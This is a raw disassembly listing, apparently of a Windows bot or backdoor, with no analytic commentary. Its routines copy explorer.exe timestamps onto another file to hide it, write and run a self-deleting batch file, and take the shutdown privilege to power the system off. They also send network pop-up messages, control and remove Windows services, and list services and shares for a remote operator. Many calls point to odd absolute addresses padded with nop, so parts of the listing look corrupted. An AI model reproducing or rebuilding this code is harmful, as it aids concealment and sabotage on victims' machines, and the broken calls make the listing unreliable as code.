arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB060 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2800000h push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 27F0822h nop push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEE4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB074, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h nop call near ptr 2690000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 26F08DDh mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 26E0000h push edi nop call near ptr 26508EFh push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D158 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2680000h push eax nop call near ptr 2660000h lea eax, [ebp+var_15C] push eax nop call near ptr 2670E4Ch cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2670D30h loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call near ptr 2810000h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2650BA1h loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26C05ECh nop cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAF24 push edi push eax call dword_4CAF34 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_4389BC loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j call near ptr 2670914h nop push eax push offset unk_438994 jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_438964 push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26C05ECh nop cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 2690C6Fh mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call near ptr 26A0000h nop push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 2790000h mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 26808E8h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389E0[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389DC[esi] push offset unk_438AF0 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DB020 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438AC4 jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DB020 push off_4389D8[eax*4] push offset unk_438AA0 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF98 mov edi, eax cmp edi, ebx jnz short loc_418762 nop call near ptr 2670914h mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE80 mov esi, eax cmp esi, ebx jnz short loc_418782 nop call near ptr 2670914h mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEEC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE88 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEF0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 call near ptr 2670914h nop mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE9C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE9C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA960 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA960 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA960 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF98 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF64 test eax, eax jnz short loc_4189CD nop call near ptr 2670914h cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE9C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DAC1C push off_4389D8[eax*4] push offset unk_439084 push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DAC1C push off_4389DC[eax*4] push offset dword_439068 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DAC1C lea eax, [eax+eax*2] push off_4389D8[eax*4] push offset unk_439044 push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DAE1C, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DAE1C, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DABBC, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DABBC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DABBC pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE98 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE70 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEE8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_4390D0 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE8C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB034 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DAE20 push off_4389DC[eax*4] push offset unk_439188 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DAE20 push off_4389D8[eax*4] push offset unk_439158 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DAE20 lea eax, [eax+eax*2] push off_4389D8[eax*4] push offset unk_439130 push esi call sub_41B886 add esp, 0Ch 